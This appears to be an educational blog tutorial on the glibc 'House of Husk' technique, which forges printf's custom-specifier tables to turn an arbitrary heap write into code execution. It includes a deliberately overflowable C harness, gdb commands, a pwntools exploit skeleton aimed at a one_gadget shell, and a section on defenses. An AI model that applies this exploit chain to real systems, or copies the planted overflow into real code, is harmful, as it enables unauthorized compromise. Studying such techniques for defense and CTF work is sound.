Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
House of Husk is a control-flow-hijack technique that has nothing to do with the allocator’s free-lists and everything to do with a corner of glibc most exploiters never touch: the machinery behind printf‘s *custom conversion specifiers*. glibc lets a program register its own format letters — so that, say, %Y could pretty-print a struct tm — via register_printf_specifier / register_printf_function. That feature is implemented with two writable global pointers inside libc, __printf_function_table and __printf_arginfo_table. When those pointers are set, every ordinary printf in the process quietly routes through them. House of Husk is the observation that an attacker who can forge those two pointers turns *any* subsequent printf-family call into an indirect call through a table the attacker controls.
What makes the technique matter is *when* it is useful. For years the default answer to “I have an arbitrary write, now what?” was __malloc_hook or __free_hook. glibc removed both hooks in 2.34, and that deletion invalidated a generation of write-ups overnight. House of Husk survives that change: __printf_function_table and __printf_arginfo_table were never hooks in the security sense, they are legitimate feature state, and they are still present and writable in modern glibc. The technique is therefore best understood as a *post-hook-era* arbitrary-write-to-RIP conversion. It is not a heap primitive by itself — it is the payload you point a heap primitive at, and its canonical delivery vehicle is the large bin attack.
Attack Prerequisites
House of Husk is a second-stage technique: it assumes you have already earned a write primitive and now need to cash it out into execution without a hook to aim at. Concretely you need:
- An arbitrary (or targeted) write into libc strong enough to set two pointers — most commonly a large bin attack, but an unsorted-bin write, a tcache/fastbin poison landing in libc, or any equivalent write-what-where works just as well.
- A libc base leak, because both
__printf_function_tableand__printf_arginfo_tablelive in libc’s writable data and their addresses are ASLR-affected. In pwntools these arelibc.sym['__printf_function_table']andlibc.sym['__printf_arginfo_table']. - Controlled memory to host the fake arginfo table — a heap chunk, a
.bssbuffer, or any region whose address you know, large enough that the slot indexed by your chosen specifier character holds your target function pointer. - A reachable
printf-family call that processes a specifier you can steer —printf,fprintf,snprintf,vfprintf, etc. Even a fixed format string in the program is fine as long as it contains a conversion the parser will route through the custom tables. - A concrete call target — realistically a one_gadget or a
setcontext/ stack-pivot chain, not a cleansystem("/bin/sh"), for reasons explained below.
How It Works
When a program calls register_printf_specifier('Y', out_fn, arginfo_fn), glibc lazily allocates two parallel tables indexed by the specifier character and stores their base pointers in __printf_function_table (the output handlers) and __printf_arginfo_table (the argument-info callbacks). The pivotal detail is the check the format parser makes on the *hot path*: inside vfprintf/__vfprintf_internal (and the __parse_one_specmb / __printf_buffer code that backs modern releases), before handling a conversion it tests whether __printf_function_table is non-NULL. If it is, the parser treats the specifier as potentially custom and, while gathering arguments, indexes __printf_arginfo_table by the format character and calls the function pointer stored there. That call happens for a normal format run — the program does not have to register anything at exploit time; the attacker supplies the table state directly.
So the primitive reduces to two writes. First, set __printf_function_table to any non-NULL value — its *content* is only dereferenced on the output side; simply being non-NULL flips the parser onto the custom path. Second, overwrite __printf_arginfo_table so it points at memory you control, laid out so that the entry for your chosen specifier character (indexed by that character) holds the address you want executed. When any later printf processes that specifier, glibc performs (*__printf_arginfo_table[spec])(...) and control transfers to your pointer. Both globals sit in libc’s writable segment next to each other, which is why a single large bin attack — whose write lands one controlled value at a chosen address — is the textbook way to arm the technique across two allocations.
Be candid about the constraint that shapes real exploits: the arginfo callback is invoked *by the parser*, with argument registers set up for argument introspection, not with a clean, attacker-chosen first argument. You do not get system("/bin/sh") for free the way a __free_hook = system overwrite gives it, because the pointer you land in rdi is not a tidy "/bin/sh" string. In practice House of Husk is therefore paired with a one_gadget (which only needs its register constraints satisfied) or used to pivot into a setcontext/ROP sequence. Treating the arginfo entry as “call this address” rather than “call system with my argument” is the correct mental model, and it is why the technique is a control-flow hand-off, not a one-line win.
Vulnerable Code / Setup
House of Husk is not triggered by a printf bug in the target — the target just has to *use* printf after the attacker has corrupted libc. The enabling flaw is the heap bug that yields the write. A minimal harness that mirrors a CTF-style menu binary: an allocator with an off-by-one / overflow that lets you corrupt a large-bin chunk’s bk_nextsize, plus an ordinary status printf reached afterwards.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* Simplified vulnerable service: allocate, edit (overflow), free, print. */
char *slots[16];
void edit(int i, char *buf, size_t n) {
/* VULN: n is attacker-controlled and not bounded by the chunk size,
so the write runs past the chunk into the next chunk's header --
enough to forge the largebin links used to deliver the write. */
memcpy(slots[i], buf, n);
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
/* ... menu loop: new/edit/free ... */
/* This perfectly ordinary status line is the trigger: once the two
printf tables are corrupted, glibc routes the %s conversion through
__printf_arginfo_table and calls our pointer. No custom specifier is
registered by the program -- the attacker supplied the table state. */
printf("[*] session summary: %s\n", getenv("USER"));
return 0;
}
CNote what the code does *not* contain: any call to register_printf_*. That is the point — the feature state is forged from outside. Before scripting, fingerprint the binary and libc; the technique needs a leak whenever PIE/ASLR is on, and its whole reason for existing is a libc new enough to have dropped the malloc/free hooks.
$ checksec --file=./husk
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enab. PIE enabled <-- libc leak required
$ ./husk & ; ldd ./husk | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (2.35)
# Confirm the tables exist and are writable in this libc:
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep printf_.*table
................ B __printf_arginfo_table
................ B __printf_function_table
BashWalkthrough / Exploitation
The exploit is two logical steps: deliver a write that sets both printf globals, then let the program’s own printf fire. Below, the write is a large bin attack — the canonical House of Husk delivery — but any write-what-where substitutes cleanly. Work it in gdb first so you can watch the two symbols flip before the format string runs.
gdb -q ./husk
pwndbg> # after your write primitive has fired, verify the two globals:
pwndbg> p (void*)__printf_function_table # must be non-NULL to arm the path
pwndbg> p (void*)__printf_arginfo_table # must point at your fake table
pwndbg> x/4gx &__printf_arginfo_table # confirm both live side by side
pwndbg> # inspect the fake table slot for your chosen specifier character:
pwndbg> x/gx <fake_table_addr> # slot[spec] == one_gadget addr
pwndbg> # set a breakpoint on the parser call site and continue into printf:
pwndbg> b vfprintf
pwndbg> c
BashThe pwntools skeleton. All addresses come from libc.sym[...] — never hardcode numeric offsets, since they differ per libc build. The large bin attack writes the address of the fake arginfo table into __printf_arginfo_table; a second controlled write (or a second largebin pass) sets __printf_function_table non-NULL:
from pwn import *
libc = ELF('./libc.so.6')
io = process('./husk')
# --- menu wrappers ---
def new(sz): ... # allocate a slot
def edit(i, data): ... # overflowing write into slot i
def free(i): ... # free slot i
def leak_libc(): ... # e.g. unsorted-bin fd leak -> libc base
libc.address = leak_libc() # resolve ASLR
arginfo = libc.sym['__printf_arginfo_table']
func_tab = libc.sym['__printf_function_table']
log.info('arginfo table @ %#x', arginfo)
log.info('function table @ %#x', func_tab)
# 1) Build a fake arginfo table in controlled memory. The slot indexed by the
# specifier character we will trigger holds our call target. one_gadget is
# the realistic choice: the arginfo callback is invoked with parser-set
# registers, NOT a clean system('/bin/sh') argument.
one_gadget = libc.address + 0x0 # <-- pick a constraint-satisfying gadget
fake_table = build_fake_arginfo(spec=ord('s'), target=one_gadget)
fake_addr = plant(fake_table) # heap/.bss address you control
# 2) Deliver the writes via the large bin attack (canonical House of Husk):
# forge a largebin chunk's bk_nextsize so the insertion writes fake_addr
# into __printf_arginfo_table, and set __printf_function_table non-NULL.
largebin_attack(target=arginfo, value=fake_addr)
largebin_attack(target=func_tab, value=fake_addr) # any non-NULL enables path
# 3) Let the program's own printf run. Its %s conversion now dispatches through
# __printf_arginfo_table[ord('s')] -> our one_gadget.
trigger_status_printf()
io.interactive()
PythonThe flow is deliberately anticlimactic on the trigger side: once the two globals are set, you do not send a payload to printf, you simply reach a printf the program already makes. That is exactly why House of Husk is so convenient against services that never take a format string from the user — the vulnerability that arms it is entirely on the heap, and the detonation is a benign-looking status line. If the reachable printf uses a different specifier than you planned for, adjust which slot of the fake table you populate: the table is indexed by the format character itself.
Note: The single most common failure is forgetting that BOTH globals must be set. If
__printf_arginfo_tablepoints at your fake table but__printf_function_tableis still NULL, the parser never takes the custom path and your pointer is never called. Conversely, do not aim the arginfo entry atsystemand expect a shell: the callback is entered with parser-controlled registers, sordiis not"/bin/sh". Use a one_gadget whose register constraints you have verified against the actual call site, or land in asetcontext/pivot gadget and stage a ROP chain from memory you already control.
Opsec: House of Husk is attractive precisely because it needs no hook and no user-supplied format string — but it is libc-version-sensitive in one respect: the internal path that calls the arginfo table was refactored across releases (the
__printf_bufferrework in modern glibc), so validate in a debugger that YOUR libc still calls through__printf_arginfo_tableon the specifier you intend to trigger. Confirm the two symbols withnm -D libc.so.6 | grep printf_.*tablebefore committing to the technique, and set a breakpoint at the parser call site to prove the dispatch fires.
Detection and Defense
Because the technique consumes an existing arbitrary write, the durable defenses are the ones that deny the write or make the printf tables an uninteresting target:
- Kill the heap primitive at the source — the write that arms House of Husk comes from a classic heap bug (overflow into largebin metadata, UAF, double-free). Modern glibc largebin and unsorted-bin integrity checks, safe-linking, and tcache key/count guards raise the cost of obtaining that write in the first place.
- Compile with fortification and full mitigations —
_FORTIFY_SOURCE, Full RELRO, PIE/ASLR, and NX do not stop the tables being written, but they force the attacker to leak libc and remove easier alternatives, and they block the companion format-string bugs that often coexist. - AddressSanitizer / heap sanitizers in CI — the enabling overflow or UAF is caught deterministically during testing, before it can be chained into a libc-pointer overwrite.
- Hardened allocators (hardened_malloc, scudo) — out-of-line metadata and provenance checks make the largebin/unsorted deliveries used to reach the tables far harder to construct.
- Monitor for anomalous control flow into vfprintf internals — CFI-enabled builds and runtime control-flow guards flag an indirect call whose target is not a legitimately registered handler.
Real-World Impact
House of Husk earned its place in the exploitation canon at the moment glibc 2.34 removed __malloc_hook and __free_hook, deleting the reflexive “arbitrary write to hook” ending that had closed thousands of CTF pwn challenges and no small number of real exploits. It is one of the handful of hook-free conversions — alongside FSOP/_IO_FILE vtable attacks, exit-handler hijacks, and the House of Apple family — that kept arbitrary-write bugs exploitable on modern libc. It shows up regularly in contemporary CTF heap challenges and in allocator-research write-ups precisely because it is generic: it does not care how you got your write, only that you have one, and it targets state that legitimate programs genuinely rely on, so it cannot simply be compiled out.
Conclusion
House of Husk reframes an arbitrary write as an indirect call by abusing the printf custom-specifier tables __printf_function_table and __printf_arginfo_table. Set the first non-NULL to arm the custom path, point the second at a fake table whose specifier slot holds your target, and the next ordinary printf in the process transfers control for you. Its lasting value is that it needs no malloc/free hook — making it one of the standard answers on glibc 2.34 and later — while its honest limitation is that the callback’s registers are parser-controlled, so it hands off to a one_gadget or a pivot rather than serving a shell outright. Deny the underlying heap write, and the elegant printf detour never gets the chance to fire.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments